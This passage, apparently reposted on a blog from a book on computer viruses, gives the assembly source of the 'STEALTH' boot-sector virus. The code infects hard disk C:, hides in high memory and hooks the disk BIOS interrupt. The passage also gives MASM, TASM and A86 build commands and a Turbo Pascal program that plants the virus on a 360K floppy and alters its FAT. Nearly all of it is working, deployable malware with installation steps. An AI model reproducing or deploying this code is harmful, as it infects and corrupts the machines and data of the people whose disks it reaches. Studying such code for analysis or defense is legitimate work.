push ax mov bx,OFFSET SCRATCHBUF mov ax,0301H pushf call DWORD PTR [OLD_13H] pop ax ret
;******************************************************************************* ;Infect Hard Disk Drive AL with this virus. This involves the following steps:
;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH ;routines to Track 0, Head 0, Sector 2, 5 sectors total.
INFECT_HARD: mov al,80H ;set drive type flag to hard disk mov BYTE PTR [DR_FLAG],al ;cause that’s where it’s going call GET_BOOT_SEC ;read the present boot sector
mov bx,OFFSET SCRATCHBUF ;and go write it at push ax mov dl,al mov dh,0 ;head 0 mov cx,0007H ;track 0, sector 7 mov ax,0301H ;BIOS write, for 1 sector pushf call DWORD PTR [OLD_13H] ;(int 13H) pop ax
push ax mov di,OFFSET BOOT_DATA ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START) mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over rep movsw ;to new boot sector mov di,OFFSET BOOT_START + 200H - 42H mov si,OFFSET SCRATCHBUF + 200H - 42H mov cx,21H ;copy partition table rep movsw ;to new boot sector too! pop ax call PUT_BOOT_SEC ;write viral boot sector
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth mov dl,al ;drive to write to mov dh,0 ;head 0 mov cx,0002H ;track 0, sector 2 mov ax,0305H ;write 5 sectors pushf call DWORD PTR [OLD_13H] ;(int 13H) ret
;*******************************************************************************
;This routine determines if a hard drive C: exists, and returns NZ if it does, ;Z if it does not.
IS_HARD_THERE:
push ds xor ax,ax mov ds,ax mov bx,475H ;Get hard disk count from bios mov al,[bx] ;put it in al pop ds cmp al,0 ;and see if al=0 (no drives) ret
;*******************************************************************************
;Read the boot sector on the drive AL into SCRATCHBUF. This routine must ;prserve AL!
GET_BOOT_SEC:
push ax mov bx,OFFSET SCRATCHBUF ;buffer for the boot sector mov dl,al ;this is the drive to read from mov dh,0 ;head 0 mov ch,0 ;track 0 mov cl,1 ;sector 1 mov al,1 ;read 1 sector mov ah,2 ;BIOS read function pushf call DWORD PTR [OLD_13H] ;(int 13H) pop ax ret
;*******************************************************************************
;This routine writes the data in BOOT_START to the drive in al at Track 0, ;Head 0, Sector 1 for 1 sector, making that data the new boot sector.
PUT_BOOT_SEC:
push ax mov bx,OFFSET BOOT_START mov dl,al ;this is the drive to write to mov dh,0 ;head 0 mov ch,0 ;track 0 mov cl,1 ;sector 1 mov al,1 ;read 1 sector mov ah,3 ;BIOS write function pushf call DWORD PTR [OLD_13H] ;(int 13H) pop ax ret
;******************************************************************************* ;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
;are checked to see if they are identical. If so, it must be the viral boot
;sector. It is assumed that es and ds are properly set to this segment when ;this is called.
IS_VBS: push si ;save these push di cld mov di,OFFSET BOOT ;set up for a compare ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START) mov si,OFFSET SB_BOOT ;required instead of ^ for A86
mov cx,15 repz cmpsw ;compare 30 bytes pop di ;restore these pop si ret ;and return with z properly set
;*******************************************************************************
;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES * ;*******************************************************************************
ORG 7A00H
SCRATCHBUF: ;a total of 512 bytes
DB 3 dup (0)
SB_BOOT_DATA: ;with references to correspond
DB 32H dup (0) ;to various areas in the boot
SB_DR_FLAG: ;sector at 7C00
DB 0 ;these are only needed by A86
SB_BOOT: ;tasm and masm will let you
DB 458 dup (0) ;just do “db 512 dup (0)”
;*******************************************************************************
;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR *
;******************************************************************************* ORG 7C00H ;Starting location for boot sec
BOOT_START: jmp SHORT BOOT ;jump over data area db 090H ;an extra byte for near jump
BOOT_DATA: db 32H dup (?) ;data area and default dbt ;(copied from orig boot sector)
DR_FLAG:DB 0 ;Drive type flag, 0=360K Floppy
; 1=1.2M Floppy
; 2=720K Floppy
; 3=1.4M Floppy
; 80H=Hard Disk
;The boot sector code starts here BOOT: cli ;interrupts off xor ax,ax mov ss,ax mov ds,ax mov es,ax ;set up segment registers mov sp,OFFSET BOOT_START ;and stack pointer sti
mov cl,6 ;prep to convert kb’s to seg mov ax,[MEMSIZE] ;get size of memory available shl ax,cl ;convert KBytes into a segment sub ax,7E0H ;subtract enough so this code mov es,ax ;will have the right offset to sub [MEMSIZE],4 ;go memory resident in high ram
GO_RELOC: mov si,OFFSET BOOT_START ;set up ds:si and es:di in order mov di,si ;to relocate this code mov cx,256 ;to high memory rep movsw ;and go move this sector push es mov ax,OFFSET RELOC
push ax ;push new far @RELOC onto stack retf ;and go there with retf
RELOC: ;now we’re in high memory push es ;so let’s install the virus pop ds nop mov bx,OFFSET STEALTH ;set up buffer to read virus mov al,BYTE PTR [DR_FLAG] ;drive number cmp al,0 ;Load from proper drive type jz LOAD_360 cmp al,1 jz LOAD_12M cmp al,2 jz LOAD_720 cmp al,3 jz LOAD_14M ;if none of the above,
;then it’s a hard disk
LOAD_HARD: ;load virus from hard disk mov dx,80H ;hard drive 80H, head 0, mov ch,0 ;track 0, mov cl,2 ;start at sector 2 jmp SHORT LOAD1
LOAD_360: ;load virus from 360 K floppy mov ch,39 ;track 39 mov cl,4 ;start at sector 4 jmp SHORT LOAD
LOAD_12M: ;load virus from 1.2 Meg floppy mov ch,79 ;track 80
mov cl,10 ;start at sector 10 jmp SHORT LOAD
LOAD_720: ;load virus from 720K floppy mov ch,79 ;track 79 mov cl,4 ;start at sector 4 jmp SHORT LOAD ;go do it
LOAD_14M: ;load from 1.44 Meg floppy mov ch,79 ;track 79 mov cl,13 ;start at sector 13 ; jmp SHORT LOAD ;go do it
LOAD: mov dx,100H ;disk 0, head 1 LOAD1: mov ax,206H ;read 6 sectors int 13H ;call BIOS to read it jc LOAD1 ;try again if it fails
MOVE_OLD_BS: xor ax,ax ;now move old boot sector into mov es,ax ;low memory mov si,OFFSET SCRATCHBUF ;at 0000:7C00 mov di,OFFSET BOOT_START mov cx,256 rep movsw
SET_SEGMENTS: ;change segments around a bit cli mov ax,cs mov ss,ax mov sp,OFFSET STEALTH ;set up the stack for the virus push cs ;and also the es register pop es
INSTALL_INT13H: ;now hook the Disk BIOS int xor ax,ax mov ds,ax mov si,13H*4 ;save the old int 13H vector mov di,OFFSET OLD_13H movsw movsw mov ax,OFFSET INT_13H ;and set up new interrupt 13H mov bx,13H*4 ;which everybody will have to mov ds:[bx],ax ;use from now on mov ax,es mov ds:[bx+2],ax sti
CHECK_DRIVE: push cs ;set ds to point here now pop ds
cmp BYTE PTR [DR_FLAG],80H ;if booting from a hard drive, jz DONE ;nothing else needed at boot
FLOPPY_DISK: ;if loading from a floppy drive, call IS_HARD_THERE ;see if a hard disk exists here jz DONE ;no hard disk, all done booting mov al,80H ;else load boot sector from C: call GET_BOOT_SEC ;into SCRATCHBUF call IS_VBS ;and see if C: is infected jz DONE ;yes, all done booting call INFECT_HARD ;else go infect hard drive C:
DONE:
mov si,OFFSET PART ;clean partition data out of mov di,OFFSET PART+1 ;memory image of boot sector mov cx,3FH ;so it doesn’t get spread to mov BYTE PTR [si],0 ;floppies when we infect them rep movsb
xor ax,ax ;now go execute old boot sector push ax ;at 0000:7C00 mov ax,OFFSET BOOT_START push ax retf
ORG 7DBEH
PART: DB 40H dup (?) ;partition table goes here
ORG 7DFEH
DB 55H,0AAH ;boot sector ID goes here ENDCODE: ;label for the end of boot sec
COMSEG ENDS
END START
To compile STEALTH using MASM, generate a file STEALTH.COM with the following commands:
masm stealth; link stealth; exe2bin stealth ren stealth.bin stealth.com
To compile with TASM, execute the following steps:
tasm stealth; tlink /t stealth;
Finally, to compile with A86, just type
A86 stealth.asm stealth.com
Once you have created STEALTH.COM, you must get it into the right place on disk, which is not too easy without a special program. The following Turbo Pascal program, PUT_360, uses the file STEALTH.COM to put the STEALTH virus on a 360 kilobyte diskette. It formats the extra track required, and then moves the original boot sector, puts the main body of the virus in place, and puts the viral boot sector in Track 0, Head 0, Sector 1.
program put_360; {This program puts the stealth virus STEALTH.COM on a } {360K floppy diskette. } uses dos;
var disk_buffer :array[0..5119] of byte; {Data area to read virus into} boot :array[0..511] of byte; {Data area to read boot sec into} virus :file; {Virus code file variable} j :integer;
{This function executes a BIOS Disk Access (int 13H) call.} function biosdisk(cmd,drive,head,track,sector,nsects:integer; buffer:pointer):byte; var regs :registers; begin regs.AH:=cmd; {ah = function number} regs.DL:=drive; {dl = drive number} regs.DH:=head; {dh = head number} regs.CH:=track; {ch = track number} regs.CL:=sector; {cl = sector number} regs.AL:=nsects; {al = # of sectors to operate on} regs.ES:=seg(buffer^); {es:bx = data buffer} regs.BX:=ofs(buffer^); intr($13,regs); {Execute the interrupt} biosdisk:=regs.flags and 1; {Return code in ah} end;
begin if biosdisk(2,0,0,0,1,1 ,@boot)<>0 then {Read original boot sector} writeln(’Couldn’’t read original boot sector!’); if biosdisk(3,0,1,39,9,1,@boot)<>0 then {Put it @ Trk 39, Hd 1, Sec 9} writeln(’Couldn’’t write original boot sector!’); assign(virus,’STEALTH.COM’); {Open the virus code file} reset(virus,256);
seek(virus,$6F); {Position fp to start of code} BlockRead(virus,disk_buffer,10); {Read 5 sectors to ram} for j:=1 to 5 do if biosdisk(3,0,1,39,3+j,1,@disk_buffer[512*(j-1)])<>0 then {Write it} writeln(’Couldn’’t write stealth routines to disk! ’,j);
seek(virus,$7B); {Position fp to viral boot sec} BlockRead(virus,disk_buffer,2); {Read it} move(boot[3],disk_buffer[3],$32); {Move orig boot data into it} if biosdisk(3,0,0,0,1,1,@disk_buffer)<>0 then {And make it the new boot sec} writeln(’Couldn’’t write viral boot sector to disk!’); close(virus); if biosdisk(2,0,0,0,3,1,@disk_buffer)<>0 then writeln(’Couldn’’t read FAT!’); disk_buffer[$11]:=$70; disk_buffer[$12]:=$FF; disk_buffer[$13]:=$F7; disk_buffer[$14]:=$7F; disk_buffer[$15]:=$FF; if biosdisk(3,0,0,0,3,1,@disk_buffer)<>0 then writeln(’Couldn’’t write FAT1!’); if biosdisk(3,0,0,0,5,1,@disk_buffer)<>0 then writeln(’Couldn’’t write FAT2!’); end.
Compile this program with the command line “tpc put_360" using the Turbo Pascal command line compiler. To put STEALTH on a disk, format a 360 kilobyte floppy disk (using the /s option to make it a boot disk) and then run PUT_360 in the same directory as STEALTH.COM. The program disk has PUT programs for other formats, or you can modify PUT_360 to do it.
Post a Comment
Write Your Precious Comments Here.!